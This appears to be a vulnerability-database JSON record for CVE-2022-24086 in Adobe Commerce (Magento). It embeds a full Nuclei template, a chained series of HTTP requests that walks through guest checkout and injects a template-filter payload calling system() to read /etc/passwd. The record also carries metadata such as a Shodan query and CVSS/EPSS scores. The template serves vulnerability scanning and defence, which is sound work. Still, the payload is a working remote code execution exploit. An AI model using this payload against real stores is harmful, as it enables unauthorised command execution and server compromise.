{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-24086/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-24086/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-24086/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-24086/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-24086/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-24086"},"sightings":{"href":"/api/v1/sightings/cve-2022-24086"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-24086.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-24086\n\ninfo:\n  name: Adobe Commerce (Magento) - Remote Code Execution\n  author: daffainfo\n  severity: critical\n  description: |\n    Adobe Commerce versions 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrary code execution.\n  impact: |\n    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Adobe Commerce that addresses this vulnerability.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb22-12.html\n    - https://vovohelo.medium.com/reversing-a-magento-rce-cve-2022-24086-e991ead4d8af\n    - https://labs.watchtowr.com/adobe-commerce-magento-rce-cve-2022-24086/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-24086\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-24086\n    epss-score: 0.99199\n    epss-percentile: 0.99933\n    cwe-id: CWE-20\n    cpe: cpe:2.3:a:adobe:commerce:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: adobe\n    product: commerce\n    shodan-query: \"X-Magento-Tags\"\n  tags: cve,cve2022,adobe,magento,commerce,rce,intrusive,kev,vkev,vuln\n\nvariables:\n  random_str: '{{rand_base(5, \"abc\")}}'\n  email: '{{randstr}}@{{rand_base(5)}}.com'\n  telephone: \"{{rand_int(10000, 99999)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(to_lower(body), \"x-magento\", \"form_key\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_key\n        part: body\n        group: 1\n        regex:\n          - 'name=\"form_key\"\\s+type=\"hidden\"\\s+value=\"([0-9a-zA-Z]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /checkout/cart/add/uenc/{{base64(BaseURL)}}%2C/product/{{product_id}}/ HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: form_key={{form_key}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2gMM6E6ZIRMtnlg4\n\n        ------WebKitFormBoundary2gMM6E6ZIRMtnlg4\n        Content-Disposition: form-data; name=\"product\"\n\n        {{product_id}}\n        ------WebKitFormBoundary2gMM6E6ZIRMtnlg4\n        Content-Disposition: form-data; name=\"item\"\n\n        {{product_id}}\n        ------WebKitFormBoundary2gMM6E6ZIRMtnlg4\n        Content-Disposition: form-data; name=\"form_key\"\n\n        {{form_key}}\n        ------WebKitFormBoundary2gMM6E6ZIRMtnlg4--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(content_type, \"application/json\")\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /checkout HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(to_lower(body), \"entity_id\", \"store_id\", \"formkey\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: entity_id\n        part: body\n        group: 1\n        regex:\n          - '\"entity_id\":\"([0-9a-zA-Z]+)\",\"store'\n        internal: true\n\n  - raw:\n      - |\n        POST /rest/default/V1/guest-carts/{{entity_id}}/shipping-information HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"addressInformation\":{\"shipping_address\":{\"countryId\":\"FR\",\"regionCode\":\"\",\"region\":\"\",\"street\":[\"{{random_str}}\"],\"company\":\"\",\"telephone\":\"{{telephone}}\",\"postcode\":\"12311\",\"city\":\"{{random_str}}\",\"firstname\":\"{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}\",\"lastname\":\"{{random_str}}\"},\"billing_address\":{\"countryId\":\"FR\",\"regionCode\":\"\",\"region\":\"\",\"street\":[\"{{random_str}}\"],\"company\":\"\",\"telephone\":\"{{telephone}}\",\"postcode\":\"12311\",\"city\":\"{{random_str}}\",\"firstname\":\"{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}\",\"lastname\":\"{{random_str}}\",\"saveInAddressBook\":null},\"shipping_method_code\":\"flatrate\",\"shipping_carrier_code\":\"flatrate\",\"extension_attributes\":{}}}\n\n    skip-variables-check: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"payment_methods\", \"totals\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /rest/default/V1/guest-carts/{{entity_id}}/payment-information HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"cartId\":\"{{entity_id}}\",\"billingAddress\":{\"countryId\":\"FR\",\"regionCode\":\"\",\"region\":\"\",\"street\":[\"{{random_str}}\"],\"company\":\"\",\"telephone\":\"{{telephone}}\",\"postcode\":\"12311\",\"city\":\"{{random_str}}\",\"firstname\":\"{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}\",\"lastname\":\"{{random_str}}\",\"saveInAddressBook\":null},\"paymentMethod\":{\"method\":\"checkmo\",\"po_number\":null,\"additional_data\":null},\"email\":\"{{email}}\"}\n\n    skip-variables-check: true\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402201dd06cc44b21f0100c52deb6ca4aa6c927893ae87f9bf42aaf339365db96d1d10220503fd48754df762e3acfa6491908b277407db18cb0a155446b5a6bb6e046e295:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-24086"}